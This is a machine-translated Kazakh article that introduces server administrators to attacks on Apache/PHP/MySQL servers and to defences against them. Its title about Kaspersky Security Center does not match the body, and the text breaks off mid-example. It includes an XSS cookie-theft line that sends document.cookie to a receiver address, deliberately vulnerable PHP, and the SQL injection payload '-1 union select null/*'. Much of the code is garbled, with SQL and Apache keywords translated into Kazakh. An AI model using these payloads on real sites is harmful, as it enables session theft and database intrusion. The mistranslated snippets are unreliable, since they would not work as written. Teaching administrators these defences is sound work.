Kaspersky Security Center арқылы антивирустық қорғауды қолдану. Вирусқа қарсы қорғанысты конфигурациялау Тым көп уақыт

Бұл мақалада мен серверлерге шабуылдардың кейбір түрлерін және серверді хакерлерден қорғау құралдарын жинағым келеді. Қауіпсіздік тақырыбында көптеген кітаптар мен мақалалар жазылды. Бұл мақаланың екпіні әкімшілердің негізгі қателеріне және оларды жоюға арналған шешімдерге арналған. Осы мақаланы оқып, өз серверін тексергеннен кейін, әкімші де тыныш ұйықтай алмайды, ол тек «кандидаттық минимумнан» өттім деп айта алады.

Әкімшінің үш нақыл сөзін есте сақтаңыз,
Жоқ! оларды басып шығарып, жұмыс орнында көз алдыңызда іліп қойыңыз:
"Қауіпсіздік - бұл процесс",
"Админнің шаруасы жоқ кезде қауіпсіздікпен айналысады",
"Қауіпсіздік ең әлсіз буын арқылы анықталады"
Мақала *nix + Apache + PHP + Perl + (MySQL | PostgreSQL) әкімшілеріне және серверлерді қашықтағы шабуылдардан қорғауға бағытталған, басқа әкімшілер үшін мақала ойға азық болады деп үміттенемін.
Әртүрлі кітаптарда хакерлік шабуылдардың әртүрлі жіктелуі бар, мен өзімнің жеке бөлімімді БАРЛЫҚ шабуылдардың екі шартты класына енгіземін, оларды топтан шығарамын:

Интернет арқылы осал және қол жетімді қызметтерге шабуыл

Менің бөлімімді түсіну үшін 80-ші портта Apache-ге қашықтан шабуыл жасайтын ойдан шығарылған сценарий бар екенін елестетіп көріңіз және шабуыл нәтижесінде Apache жабылады және веб-беттерді беретін ешкім жоқ болғандықтан, сіз сайтсыз қаласыз. VRFY параметрі ретінде sendmail пошта серверіне қысқа пайдаланушы атының орнына 1000 таңба жіберілді, sendmail мұны күтпеді және сізді поштасыз қалдырды. Бұл шартты класс шабуылдарының жалпы мағынасы қолданбаның кейбір осалдықтарының пайдаланылуы болып табылады. Және үш жол бар -

path1) қолданба бұзылады және қызмет қол жетімді болмайды, DoS жағдайы;
жол 2) қолданба ресурстарды түсіре бастайды және оларды таусылғаннан кейін DoS жасайды;
жол3) қолданбаға қабық коды беріледі және шабуылдаушы коды орындалады;

Мұның барлығы қызметке жасалған шабуылдар (1-тармақ) және олар тек бір жолмен өңделеді: әкімші әзірлеушіден осалдықтың бар-жоғын дереу біліп, осы бағдарламаны жаңартады.

2-тармаққа шабуыл - бұл кейбір бағдарламалау тілінде енгізілген динамикалық қызмет параметрлерді алуға мүмкіндік береді және оларды тексермей орындайды. Мысалы, браузерді пайдаланып, шабуылдаушы Apache сайтын қарап шығып, сайттың өзінен осалдықтарды іздейді және оларды пайдалана отырып, қалағанын алады. Tcl тілінде жазылған, IRC сервер арнасын модерациялауға арналған бот пайдаланушыдан (жаңа әзіл нөмірі, ауа-райын көрсету күні) және хакерден бот бағдарламасының кодының жұмысын қайта жасай отырып (кері инженерия) сұраныстарын алады. ), бот авторы ескермеген сұрауларды құрастырады.

Қалай екенін сұраңыз? онда бұл мақала міндетті түрде қажет. Қалай болғанда да, төменде бәрі боялады.

Осал қызметтерге және сервердің өзіне шабуыл

Бұл бөлімде мен әсері жүйе мен қызметтерге түсетін барлық шабуылдарды енгіздім. Көбінесе мұндай шабуылдар буфердің толып кетуі (буфердің асып кетуі) сияқты бағдарламаны жүзеге асырудағы қателерден мүмкін болады. Қысқасы, бұл былай көрінеді, делік, нашар жазылған ftp серверінде белгілі бір символдар санына (мысалы, 10) пайдаланушы атына арналған массив (буфер) бар және мұндай ftp сервері аурудан 100 символды алады. -қалаулым, егер мұндай жағдай тексерілген ftp сервер кодында болмаса, буфердің толып кетуі орын алады.

Сонымен, хакерлер үшін жергілікті буфердің толып кетуі не үшін пайдалы? Қайтару мекенжайын зиянды кодпен қайта жазуға болады. Қашықтан, бұл мақсатты жүйеде ерікті кодты жергілікті түрде орындауға мүмкіндік береді, егер бағдарлама root ретінде жұмыс істеп тұрса, ол жүйе әкімшісінің артықшылықтарын алуға мүмкіндік береді.Буфердің толып кетуін тудыратын және хакер үшін әрекеттерді орындайтын код қабық деп аталады. Shellcode жазу оңай жұмыс емес және хакерден ассемблер тілін білуді талап етеді, бұл осы саладағы кәсібилікті білдіреді.

Осал қызметтерге және сервердің өзіне жасалған шабуылдардан қорғау

Жаңарту. Бүкіл жүйені жаңартуды үйрену керек, сондықтан мүмкін болуы керек
*nix үшін «әлемді және ядроны құру», Linux бума жүйесі арқылы жаңарту және лицензияланған MS Windows жүйесіне арналған Windows Update жүйесінде Жаңарту түймешігін баса білу. FreeBSD әкімшілері порттарды пайдаланып бағдарламалық құралды орнату мүмкіндігіне ие болуы керек. Осылайша сіз оларға қарсы емес, әзірлеушілермен жүзесіз.
MS Windows әкімшілері MSI тарату пішімін жиірек үйреніп, пайдалануы керек, бұл Microsoft корпорациясы қатты ұсынып, ескі буманы жаңасымен жаңартуды қолдайды. Серверде не істесеңіз де, өзіңізден сұраңыз, бұл бағдарламаның жаңа нұсқасы бар ма, оны жаңарту қаншалықты оңай? Сізге толық бақылауға болатын шешімді жасау керек, иә, өздерінің әзірлемелері немесе патчтары бар жобалар бар, бірақ егер сіздің әзірлемелеріңіз белгілі бір нұсқада сізге қажет қолданбаларды тоқтатуды қажет етсе және патчтарды жаңа жүйеге қолдана алмасаңыз - мұндай шешімнің қажеті жоқ!

Мен мұнда лирикалық шегініс жасап, өзімді қалай бұзуға тура келгенін айтайын. Интернетте әдетте осылай басталатын мақалаларды оқығаннан кейін, «көзді жүктеп алып, орнатуға қойыңыз». Әрі қарай не? Жаңа нұсқаны қалай орнатасыз? Ескі нұсқаны сақтаңыз ба, сонда сіз оған орнатуды (de|un) жасай аласыз ба? Ал жаңа жасауда қайтадан орнату керек пе? Бұл сұрақтарды менің досым Дмитрий Дубровин FreeBSD-ді үйренуді бастаған кезде қойды. Мен оның дұрыс айтқанын түсіне бастадым, және кем дегенде Тегін, бұл жол қолайлы емес, және FreeBSD әзірлеушілерінің жолын ұстанбау арқылы мен тек өзім үшін жағдайды қиындатып жібердім.

Енді FreeBSD-ді меңгергеннен кейін, бірнеше командалар Тегін ядро мен бүкіл жүйе үшін жаңа көздерді жүктеп алған кезде, бірнеше команда жасалады. жаңа әлемжәне ядро, содан кейін жүйедегі порттар мен қолданбалар жаңартылады, сіз * nix жүйелерінің қуатын түсіне бастайсыз. FreeBSD көмегімен серверді ескі тармақтан қазіргіге дейін жаңартқанда, жүйе әлемін қайта құрғанда, жүйе жаңа көздерден құрастырылғанда (Мюнхаузен өзін шашынан тартып алған сияқты) және барлығында сезінетін мақтаныш сезімін жеткізу қиын. жаңартуға дейін жұмыс істеген ол да «файлсыз» жұмыс істейді.

Өзіңіз түсінгеніңіздей, сіздің бизнесіңізге қолдау көрсететін бағдарламалық жасақтаманы әзірлеушілерден қауіпсіздікті тарату тізімдеріне жазылуыңыз керек және мерзімді түрде жаңартылады. Бәрін де, барлығын да жаңартып, жетілдіре түсу керек.
Қауіпсіздікті реттеу. Көптеген серверлік операциялық жүйелер әдепкі бойынша Интернеттің қатал "химиялық" ортасында жұмыс істеу үшін жеткілікті конфигурацияланбаған. Хакерлер сіздің серверіңізде «алдап кетпеуі» үшін қауіпсіздікті баптауды орындау керек, атап айтқанда, қауіпсіздік бойынша операциялық жүйе өндірушісінің ұсыныстарын оқып шығыңыз. *nix жүйелерінің әкімшілері man security деп атай алады және әзірлеушілердің кеңестерін оқығаннан кейін ертегіні шындыққа айналдырады. Бірақ қандай операциялық жүйе болса да, қауіпсіздікті баптаудан кейін сервер мен қызметтердің жұмысын мұқият тексеру керек.
брандмауэр. Nmap порт сканерлері мен осалдық сканерлері арқылы жеке тексерген конфигурацияланған брандмауэр, егер осы бағдарламалардан нәтиже болса, не қауіп төніп тұрғанын бәріңіз түсінесіз бе? Брандмауэрді орнату кезінде оның ережелерін айналып өту жолдары бар екенін есте сақтаңыз. Мысалы, брандмауэрмен қорғалған жергілікті желі бар, пакеттердің фрагментациясына тыйым салу жалауын орнату арқылы белгілі бір жағдайларда жергілікті желідегі тағайындалған жерге жетуге болады. Немесе әкімшінің жиі кездесетін қателігі, өз серверінің шығыс пакеттеріне шамадан тыс сенім артуы.
Елестетіңіз нақты жағдай, жау коды хост хакерінің хостымен қосылымды бастауға тырысуда және сізде «Менен Интернетке барлығы рұқсат етілген» брандмауэр ережесі бар. Брандмауэр ережелерін құрастыру кезінде сіз өз қызметтеріңіздің өздері мен қашықтағы клиенттер арасындағы желілік байланысының толық бейнесін толық түсінуіңіз керек.
Интрузияны анықтау жүйесі. Брандмауэрді рыцарь сарайының жанындағы тас қабырғалар ретінде елестетуге болады. Бір рет тұрғызылған және ішінде отыру - құрғақ және ыңғайлы. Бірақ егер біреу қабырғалардың беріктігін зеңбіректен сынап жатса ше? Мүмкін сізге сарайдан шығып, біреуді үйіп тастау керек шығар? Құлып қабырғаларының артында не болып жатқанын білу үшін, сізде серверде басып кіруді анықтау жүйесі (IDS) болуы керек. Егер сізде өзіңізге ұнайтын пакетке негізделген мұндай жүйе болса, онда біреу nmap мылтықтан атуды бастаса, сіз хабардар боласыз, шабуылдаушы да «сен білетін нәрсені» біледі.
Стандартты емес жағдайларды талдау. Жүйедегі көптеген журналдарда «қате: /etc/passwd файлы ашылмады» немесе «кіру рұқсаты жоқ» деген жазулар жиі жыпылықтайды. Бұл бір жерде, бірдеңені оқи алмайтын дұрыс емес конфигурацияланған қолданба туралы шырылдайтын шағын қоңыраулар немесе бұл қоңырау емес, жарты жолда қалған хакер туралы дабыл қағу болуы мүмкін.
Қалай болғанда да, админ мұндай нәрселерден хабардар болуы керек. Әкімшінің жұмысын жеңілдету үшін қызықты сөз тіркестерінің пайда болуы үшін журналдарды талдайтын және әкімшіге пошта арқылы есеп жіберетін бағдарламалар жасалды. Мұндай мүмкіндікті жоққа шығармаңыз, мұндай бағдарламаларды сенімді жолды тексеретін күзетшілермен салыстыруға болады, бірақ бәрі өздерін белгіленгендей ұстай ма?
Бағдарламалық құрал нұсқаларын жойыңыз. Қызметтерден баннерлерді алып тастаңыз. Жоқ, сіз өзіңіздің сайтыңызда көрсететін баннерлер емес, сіздің бағдарламаларыңыз қосылу кезінде немесе қате шығару кезінде сәлемдесуде беретін жолдар. Бағдарламаларыңыздың нұсқаларымен жарқыраудың қажеті жоқ, хакерлер Интернеттен нұсқалар бойынша осы немесе басқа осалдықты (эксплоиттер - пайдалану) пайдаланатын қолжетімді бағдарламаларды іздейді.
Мұнда жалғыз шешім жоқ, мысалы, порттардан белгілі бір бағдарламаны орнатсаңыз, make install clean деп жазбаңыз, сондықтан сізсіз бәрі жүктеледі, құрастырылады және орнатылады. Алып алуды жасаған дұрыс; сығынды жасау; содан кейін файлдардың ішкі каталогына өтіңіз, сонда сіз көздердегі бағдарламаның нұсқасын түзете аласыз немесе оны басқа нұсқа ретінде жібере аласыз, содан кейін орнатуды тек таза етіп жасай аласыз.

Apache өте ақпараттандырады және әлі де жүйелік нұсқаларымен жарқырайды, PHP, Perl, OpenSSL. Масқара httpd.conf ServerSignature Off ServerTokens Prod ішінде директиваларды көрсету арқылы өшіріледі. Интернетте сіз кез келген бағдарламамен баннерлерді ауыстыру бойынша анықтама таба аласыз. Мақсат бір – шабуылдаушыны құнды ақпараттан айыру. Интернетте қолжетімді қызметтер тізімін қарап, ол өзі туралы және сақтайтын ақпарат туралы тым көп ақпаратты береді ме деп өзіңізден сұраңыз.

Мысалы, DNS серверінің байланысы «аймақты тасымалдауға» рұқсат бере алады және IP және домен атаулары бар компьютерлер барлығына қолжетімді болады, бұл нашар. Серверіңізді әртүрлі сканерлермен тексеріп, олардың нәтижелерін мұқият оқып шығыңыз. Бағдарлама баннерін ауыстырған кезде, мен сізге кездейсоқ мәтінді емес, жауапкершілік туралы ескертуді және әрекеттерді тіркеуді енгізуге кеңес беремін. Сот залында хакер босатылған оқиғалар болғандықтан, бұзылған FTP серверінде «Қош келдіңіз! Қош келдіңіз!» деген жазу болған.
Минималды талап ережесі. Интернет үшін қолжетімді қызметтерді азайтыңыз. Қажет емес нәрсені өшіріңіз, себебі сіз өшірілген нәрсені бұза алмайсыз. Жалпы қате, мысалы, бір компьютерде Apache-мен жұптастырылған MySQL сервері стандартты 3306 портында қашықтан қол жеткізуге теңшелген кезде. Неліктен? netstat -na | командасын беріңіз grep ТЫҢДАҢЫЗ және өзіңізге жауап беріңіз: қандай бағдарламалар қай интерфейсті және қандай портты пайдаланатынын білесіз бе? Сіз бақылаудасыз ба? Жақсы болса.
Көптеген күшті және әртүрлі құпия сөздер. Көбінесе бұзу туралы бейнелерде немесе хакерлердің бұзу туралы әңгімелерінде «әкімшіде әкімші панелі үшін бір құпия сөз болғаны жақсы, ол да ssh және ftp-ге дейін көтерілді» деген тіркес жыпылықтайды. Бұл сізге қатысты емес деп үміттенемін. Демек, ереже: әртүрлі қызметтерге арналған құпия сөздер әртүрлі және кемінде 16 таңбадан тұруы керек. Егер сіз ұмытып кетуден қорқатын болсаңыз, оларды қағазға жазып алыңыз (бұл жерде қауіпсіздік мамандары мені өлтіреді), бірақ бұл қашықтағы шабуылдаушы бірнеше минут ішінде құпия сөзіңізді шешкеннен гөрі жақсы, өйткені пароль ұзындығы шағын және сөздік сөзге ұқсастығы мүмкіндік берді.
Қызметтер /etc/passwd дерекқорындағы жүйе пайдаланушылары ретінде емес, өздерінің жазық немесе ДҚБЖ дерекқорларындағы виртуалды пайдаланушылар ретінде авторизацияланатын болса, әртүрлі қызметтерге арналған әртүрлі құпия сөздерді орындау оңай. Әкімші ретінде қол жеткізе алатын барлық ресурстар үшін password.txt файлындағы серверлерде құпия сөздерді сақтамаңыз.
Шектеу. Сервердегі барлық қызметтер әртүрлі шектеулі тіркелгілерден (есептік жазба) іске қосылуы керек және ешқашан түбірлік тіркелгіден іске қосылмауы керек. Маған сеніңіз, егер олар шектеулі тіркелгіден түбірлік күйге (uid=0, gid=0) артықшылықты көтеруге қол жеткізсе, жаңартылған жүйеңізде белгілі саңылаулардың болмауынан құтқарыласыз.
Айтпақшы, көптеген әкімшілер мұндай нәрсені ұмытып кетеді, неге, мысалы, Apache және MySQL іске қосу тіркелгілері қабықшаға қол жеткізуі керек! Өйткені, оны өшіруге болады және қабықтың орнына / bin / false көрсетіңіз. Шынымды айтсам, есеп беру серверіндегі бағдарламалар үшін тіркелгілеріңізді тексеріп, қателескенімді айтыңыз. SQL дерекқорларыңызда тіркелгілерді ең аз талап етілетін артықшылықтармен шектеңіз. Тек SELECT шақырылған кезде FILE артықшылықтарын бермеңіз.
Барлығы түрмеге!Құм жәшіктерімен (құмсалғыш) немесе түрмемен (түрме) жұмыс істеуді және осы оқшауланған бөлмелерде қолданбаларды іске қосуды үйреніңіз, бұл бүкіл серверді бұзуды қиындатады. Виртуализацияны пайдалансаңыз, қызметтерді әртүрлі қонақ операциялық жүйелеріне тарата аласыз.
Қабатты қорғаныс.Әртүрлі жерлерде бір нәрсені бірнеше жолмен тыйым салуға болады - мұны жасаңыз. ЕШҚАШАН ойлама – мен мұнда тыйым салдым, ол жерде артық нәрсеге тыйым салу үшін.

Осал қызметтерге және сервердің өзіне жасалған шабуылдар туралы көбірек біліңіз.

DoS шабуылы (қызмет көрсетуден бас тарту) – мақсаты сервер заңды пайдаланушыларға қызмет көрсете алмайтындай кез келген шектеулі сервер ресурсын (интернет арнасы, жедел жад, процессор және т.б.) жою болып табылатын шабуыл. Бейнелеп айтқанда, сізді үйге қаскүнем шақырып, телефонда үнсіз қалды деп елестетіп көріңіз, бұл кешке созылды. Осының бәрінен шаршап, телефонды өшіріп тастадың, ал таңертең бастығыңның маңызды қоңырауын өткізіп алғаныңды білдің. Мұнда аналогия келтірілген шын өмір DoS шабуылдары.
Нақты өмірде DoS жиі осылай көрінеді, бағдарламадағы қатеге байланысты процессорды пайдалану секіреді және ұзақ уақыт бойы 100% деңгейінде қалады, ал шабуылдаушы бағдарламадағы бұл тесікті мерзімді түрде пайдаланады. Нашар жазылған қолданбаның жедел жады таусылуы мүмкін. Немесе антивируспен тексеру үшін орамнан шығарылатын көптеген таңбалары [кеңістік] бар мұрағаттағы қатты қысылған файл түріндегі «пошта бомбасы» және орамасынан шығарылған үлкен файл сервердегі қатты диск бөлімін толтырады және / және сервердің қайта жүктелуіне себепші болады.

DoS шабуылынан қорғау:
- DoS шабуылы үшін манипуляцияланатын бағдарламаны жаңарту
- Осы бағдарлама іске қосылған тіркелгі үшін ресурс квотасын орнатыңыз. *nix жүйелері CPU пайдалану пайызын, жедел жадты, пайда болған процестердің санын, ашық файлдарды және т.б. реттеуге мүмкіндік береді. және т.б.
- Бағдарламаға кіруді орнатыңыз және шабуылдаушы-қуыршақ ойыншысын тауып, оны желіаралық қалқанда блоктауға тырысыңыз.
- Егер сіз осындай жағдайға тап болсаңыз, Интернеттегі мақалаларға сәйкес бағдарламаны әзірлеуші гуру кеңес бергендей орнатыңыз.
DDoS (бірдей DoS, бірақ сізге бірнеше зомби компьютерлері шабуыл жасайды
шабуылдаушы). DDoS деструктивті болып табылады және оларды зомби машиналары бар вандалдар ғана пайдаланады және шабуылды тоқтату немесе пайдаланушылар сіздің серверіңізге жетпестен бәсекелеске баруы үшін бизнесіңізге зиян келтіру үшін ақша талап етеді. DDoS шабуылдарын сіздің серверіңізді интеллектуалды түрде бұзуды мақсат еткен хакерлер пайдаланбайды, иә, иә, сіздің серверіңіз олар «шешуге» келетін «жұмбақ».
Өзіңізді DDoS-тан қалай қорғауға болады? Егер сіз өзіңіздің күштеріңізге және құралдарыңызға сенсеңіз, сценарийлердің жұмысын автоматтандыру арқылы әртүрлі журналдардан IP мекенжайларын шығарып, оларды желіаралық қалқанға тыйым салатын ережелерге енгізуге болады. Мәселен, мысалы, «DDoS астында өмір бар ма» мақаласының авторы DDoS зақымдануын азайту үшін оны қалай конфигурациялау керектігі туралы көптеген мақалалар берді.

DDoS шабуылдарынан қорғау:
- Егер DDoS қолданбаға бағытталған болса, журналдардан шабуылдаушылар мен заңды пайдаланушылар арасындағы айырмашылықты табуға тырысыңыз және сценариймен автоматтандыру арқылы оны брандмауэр ережелеріне енгізіңіз.
- Егер DDoS жүйеге бағытталған болса (мысалы, ICMP протоколына шабуыл), сценариймен автоматтандыру арқылы оны бас тартуда брандмауэр ережелеріне қосыңыз.
- Осы бағдарлама іске қосылған тіркелгі үшін ресурс квотасын орнатыңыз. * nix жүйелері CPU пайдалану пайызын, жедел жадты, пайда болған процестердің санын, ашық файлдарды және т.б. конфигурациялауға мүмкіндік береді.
- Егер сіз осындай жағдайға тап болсаңыз, Интернеттегі мақалаларға сәйкес бағдарламаны әзірлеуші гуру кеңес бергендей орнатыңыз.
- Кез келген жолмен көмектесу үшін жоғары ағындық провайдеріңізге хабарласыңыз. Шағымды abuse@host_of_networks_from_the_attack_domain мекенжайына жазыңыз. Бұл шабуылдаушының желісін ішінара жоюға көмектеседі, оған зиян келтіреді, бұл оған ақша жұмсайды. Моральдық қанағаттануды сезіну.
- Apache үшін mod_security қараңыз, бұл кейбір жағдайларда сізге көмектесетін тамаша құрал.
Bruteforce құпия сөз шабуылы. Мұнда бағдарламалардағы тесіктер кінәлі емес, олар жай ғана логин/пароль жұбын таңдайды. Серверден ssh конфигурацияланған, бірақ белгілі бір IP мекенжайларынан және белгілі бір логиндерден ssh арқылы кіруді шектеуді ұмытып кеткендер (ssh_config AllowUser нұсқаулығында) mash:password_machine құпия сөзін дөрекі түрде қолдану әрекеттерін журналдарда көрген болуы керек.
Bruteforce құпия сөзін қорғау:
- Сәтсіз кіру/құпия сөз әрекеттерінің санын шектеңіз
- Қолданба рұқсат етсе, жаңа логин/пароль әрекетіне дейінгі уақытты ұлғайту.
- Адамдардың тар шеңбері қосымшамен жұмыс істеуі керек болса, мұндай ережені жасаңыз және оны шектеңіз

Қызметтің динамикалық мазмұны арқылы шабуыл

Шабуылдың бұл түрі жиі *nix әлемі үшін Apache + (PHP | PERL) + (MySQL | PostgreSQL) және MS Windows әлеміне арналған IIS + ASP + Microsoft SQL серверінде қарапайым шолғышты пайдаланып орындалады, бірақ бұл тек жеке оқиға, бұл интернеттің танымалдылығына байланысты жиі қолданылады. Бұл жинақта бағдарламалау тілдері ASP, PHP, Perl, SQL болып табылады, сондықтан оларды хакерлер өздерінің деструктивті дизайндарын құрастыру үшін жиі пайдаланады.

БІРАҚ түсіну керек ең бастысы - мұндай байламдар қызмет + олардың үстіне динамикалық мазмұнбағдарламалау тілдерінде көп, сондықтан олардың барлығы хакерлердің қаруының астында. Мысалы, мұнда толық емес тізім:

Веб-сервер + CGI сценарийлері
Енді қолданылмаған ежелгі сілтеме - Apache + PHF (яғни P H F) сценарийлері
IIS + ColdFusion қолданбалы сервері
SSI механизмі (сервер жағы кіреді)

Әрі қарай, біз негізінен веб-бұзулар туралы айтатын боламыз, бірақ төменде сипатталғанның бәрі басқа қызмет + динамикалық мазмұн бумаларына қатысты екенін ұмытпаңыз. Сөздері әртүрлі болғанымен, мәні бір. Бүгінгі күні хакерлер вебке браузер арқылы, ертең R клиентімен Z сервисіне қарсы шабуыл жасайды.Дерекқорларға және көптеген бағдарламалау тілдеріне қосылған веб-сервер осы тектес шабуылдар алаңына айналды.

Осы түрдегі барлық шабуылдардың мағынасы сайттың динамикалық мазмұнына (мазмұнына) қызмет ететін сценарийлердегі қателерді табу үшін браузерді пайдаланып сайтты тексеруге тырысу болып табылады.

Бұдан шығатын қорытынды – тек бір-біріне сілтеме жасайтын статикалық html беттері ғана бар веб-сайтқа шабуыл жасау арқылы сайтты бұзу МҮМКІН БОЛМАЙДЫ. Веб-сайтыңыз арқылы жасалған шабуылдар адамдар көбірек интерактивті болғысы келгенде және оны бағдарламалау тілдері мен дерекқорлар арқылы қосқанда пайда болды.

Сайтты шарлайтын хакерлер кез келген параметрден өтетін сценарийлерге ерекше назар аударады. Бірақ сценарий авторы параметр мәні ретінде нақты не берілгенін тексермесе ше?

Қызметтің динамикалық мазмұнына шабуылдардан әкімшіге арналған жалпы шешімдер (ерекше жағдай ретінде веб-сайт)

Жаңарту. Біз бұл туралы бұрын айтқан болатынбыз, бірақ егер сіз үшінші тарап әзірлемелерін (форумдар қозғалтқыштары, галереялар, чаттар және т. Хакерлердің пікірі, егер портал қаржы және олардың айналымымен жұмыс істейтін болса, онда мұндай порталда өздікінен басқа біреудің әзірлемелері болуы құптарлық емес. Әрине, сайт үшін өз қозғалтқыштарын әзірлеуді қауіпсіз бағдарламалауды білетін және Интернеттегі қауіптерді түсінетін кодерлер жазғаны түсінікті.
Стандартты емес болыңыз. Көптеген хакерлердің утилиталарында, осалдық дерекқорларында, форум/, галерея/, суреттер/жолдар жиі жыпылықтайды. Өте ыңғайлы! Админді біліңіз, сіздің сайтыңыз /usr/www мекенжайында орналаспаған кезде, ал сіздің админіңіз site.com/admin емес болса, олардың жартысы сіздің сайтыңызға қырындап, түкіреді. Қорытындысы, егер сіз стандартты болмасаңыз, бұл сіздің сайтыңызға шабуыл жасайтын хакердің дөңгелектеріндегі қосымша спиц. Ол қолмен дерекқорға / сценарийге қосуға / түзетуге тура келеді. Бірақ хакер әрқашан мұны істей алады ма, әлде дайын ба? Жас хакерлер «скрипт балалары» сөзсіз қорқады. Мысалы, PHP қауіпсіздік кеңестері
# PHP кодын кодтың басқа түрлеріне ұқсатыңыз
AddType қолданбасы/x-httpd-php .asp .py .pl
# PHP кодын белгісіз түр кодтары сияқты етіп жасаңыз
AddType қолданбасы/x-httpd-php .bop .foo .133t
# PHP кодын html сияқты етіп жасаңыз
AddType қолданбасы/x-httpd-php .html .htm

Жасыру арқылы PHP үшін қауіпсіздіктің бұл түрі аз шығынмен аз кемшіліктерге ие. Хакерлердің өздері өздерінің бұзуларын сипаттай отырып, олар сіздің серверіңізде орналасқан бағдарламалық жасақтаманы әзірлеушінің сайтынан жүктеп алатынын жазады және әдепкі кесте атаулары / жолдар / осы немесе басқа қозғалтқышпен жұмыс істейтінін қарайды. Стандартты еместің жалпы мағынасы хакердің «блицкригіне» ие болмайтындай бұзу процесін кешіктіру болып табылады және ол неғұрлым көп тартса, соғұрлым оның анықталу ықтималдығы артады.
Сайттағы қозғалтқыштар мен сценарийлердің нұсқаларын жойыңыз. Бұл шабуылдаушы іздеген нұсқаны білуден айыру керек құнды ақпарат. кілт тапсыру шешімдерібұзу үшін. Сценарийлер қателердегі қателерді көрсетпейтіндей етіп жасаңыз пайдалы ақпарат, мысалы: қате орын алған сценарийге апаратын жол («жолды ашу» мәселесі) және қатенің өзі.
.htaccess қажеттілігін қарастырыңыз. .htaccess файлдарының болуы негізгі Apache конфигурациясында орнатылған параметрлерді қайта анықтауға болатындығын білдіреді, маған сеніңіз, хакерлер мұны жасайды. Егер сіз .htaccess файлын "AllowOverride None" директивасы арқылы пайдалануды өшірсеңіз, онда сіз Apache үшін өнімділік артықшылығын аласыз, өйткені ол әрбір сұрау бойынша веб-бетке бару жолындағы барлық каталогтарды қарап шықпайды және қауіпсіздікті арттырады. Apache веб-сервері.

Динамикалық мазмұнға шабуылдар туралы толығырақ (веб-сайт ерекше жағдай ретінде)

XSS (Cross Site Scripting).
Сайтаралық сценарийлер CSS емес, XSS деп аталады, өйткені CSS «Каскадтық мәнерлер кестелерінің» ертедегі аббревиатурасы болып табылады. XSS шабуылдары серверге қарсы емес, сол сервердің пайдаланушыларына қарсы бағытталған. Бірақ админге қуанудың қажеті жоқ! XSS шабуылы келесідей көрінеді, сайтта веб-бетте өңделетін өрістер немесе JavaScript арқылы сүзгіленбеген сценарий параметрлері бар.
Хакер өңделетін өрістерге клиенттік бағдарламалау тіліндегі кодты қосады, әдетте Java және VBScript, және бұл код HTML бетінің бөлігі болады. Пайдаланушы мұндай бетке кірген кезде оның браузері бетті талдайды және осы кодты орындайды.
Хакерлер XSS-пен не істейді?
- Cookie файлдарын ұрлау (cookie файлдары, тоқаштар) – бұл мәтіндік файлдар сервер пайдаланушыға оны кейін сәйкестендіру үшін «қойған» ақпаратты сақтайды. Мысалда, егер сіз осы мазмұнмен test.html файлын жасасаңыз (оны өзіңіз жазыңыз), содан кейін браузерде іске қосылған кезде ол XSS шығарады.
  Құрметті админ, сайтқа кіру кезінде қате шықты
  Көмектесіңдер
  Бірақ сценарийді Java тілінде және одан да маңызды document.location="cookie қабылдаушысының мекенжайы"+document.cookie-де жаза аласыз. Әдетте, мұндай сценарийлер әкімшінің веб-поштасына жазылады және әлеуметтік инженерияны қолдана отырып, оның cookie файлдарын алу үшін оны хабарды оқуға шақыруға тырысады.
  
  Егер cookie файлдарында IP мекенжайына сілтеме және қосымша қауіпсіздік шаралары болмаса, олар cookie файлдарын әкімші cookie файлдарымен ауыстырады және логин мен парольді тексермейтін және адамдарды тек cookie файлдары арқылы анықтайтын әкімші панеліне кіруге тырысады.
- Сайтты бұзу (дефас – сайттың бастапқы бетін ауыстыру, көбінесе index.html)
- Қашықтағы пайдаланушыны троянизациялау. Пайдаланушылардың браузерлері үшін жаңа эксплойттар таңдалады және олар осал бетке кірген кезде компьютерге троянды жұқтыру әрекеті жасалады. Егер пайдаланушыда жаңа деректер базасы орнатылған антивирус болса, ол жүйеде троянның пайда болуын көрсетеді. Сіздің сайтыңыз пайдаланушының көзіне түседі, мүмкін ол сізге енді келмейтін шығар.
- DoS. Келушілер саны көп болса, сценарий сіздің серверіңізден немесе басқасынан қосымша басқа беттерді сұрайды, біреудің DoS болуы мүмкін.
Мәселенің шешімі:
- Енгізу өрістерінен дерекқорға html тегтерін жазуды блоктау үшін PHP үшін htmlspecialchars сияқты құрылымдарды пайдаланыңыз, олар ауыстырады.< на на >, & to & және т.б
  Мысалы,
  $comment = htmlspecialchars($comment, ENT_QUOTES);
  $query = "қонақ кітабына енгізу
  (аты, орны, электрондық поштасы, url, түсініктеме) мәндері
  («$name», «$location», «$email», «$url», «$comment»)»;
  mysql_query($query) немесе die(mysql_error());
- Пайдаланушы енгізетін және мекенжай жолағы арқылы сценарийге жіберілетін барлық параметрлерді сценарийлеріңізде тексеріп, сүзіңіз. Кіріс деректерді талдау үшін тұрақты өрнектерді қалай дұрыс пайдалану керектігін үйреніңіз. Бағдарламалау тілі үшін қауіпсіз кодтауды үйрететін материалды табыңыз.
- Егер сіз өзіңіздің сайтыңызда cookie технологиясын пайдаланғыңыз келсе, Cookie файлдарын қорғау тәжірибесін оқыңыз. Олардың әрекеттерін уақытында және IP мекенжайлары бойынша шектеңіз.
- Әкімші ретінде әлеуметтік инженерия сізді алдаған кезде қырағы болыңыз. Клиенттік компьютердің артында жеке компьютер қауіпсіздігі туралы ұмытпаңыз.
SQL инъекциясы. SQL инъекциясы.
Бұл ауру тексерілмеген параметр сценарийде пайда болатын SQL сұрауына ауыстырылғанын білдіреді. Хакер SQL инъекциясынан зардап шегетін сценарийлерді қарапайым жолмен табады, цитата site.com/view.php?id=1" параметр мәніне беріледі немесе сандық параметр осы site.com/view.php сияқты өзгертілген? id=2-1.
Ауыстырылған дәйексөз «қате» тудырса (осындай жол бойындағы анау-мынау сценарийде осындай және осындай сұрау орындалмайтындығы туралы көптеген хабарламалар), онда мұндай сценарий оны одан әрі айдауға үміткер болып табылады. Көбінесе, шабуылдаушылар іздеу жүйесінен «сайт: www.victim.ru Ескерту» сияқты нәрсені сұрап, Google бұзуды пайдаланады.Google іздеу жүйесі сіздің сайтыңыздағы қате сценарийлерді қайтарады, сондықтан олар Google өрмекшісімен бұрыннан индекстелген. .

Мәнді тексермейтін және SQL инъекциясынан зардап шегетін код
$id = $_REQUEST["id"];
$нәтиже = mysql_query("Тақырыпты, мәтінді, datenews, авторды ТАҢДАУ `news` WHERE `id`="$id"");

Енді санның орнына «-1 union select null/*» (тырнақшасыз) ауыстырылатынын елестетіп көріңіз, содан кейін сұрауыңыз келесіге айналады.
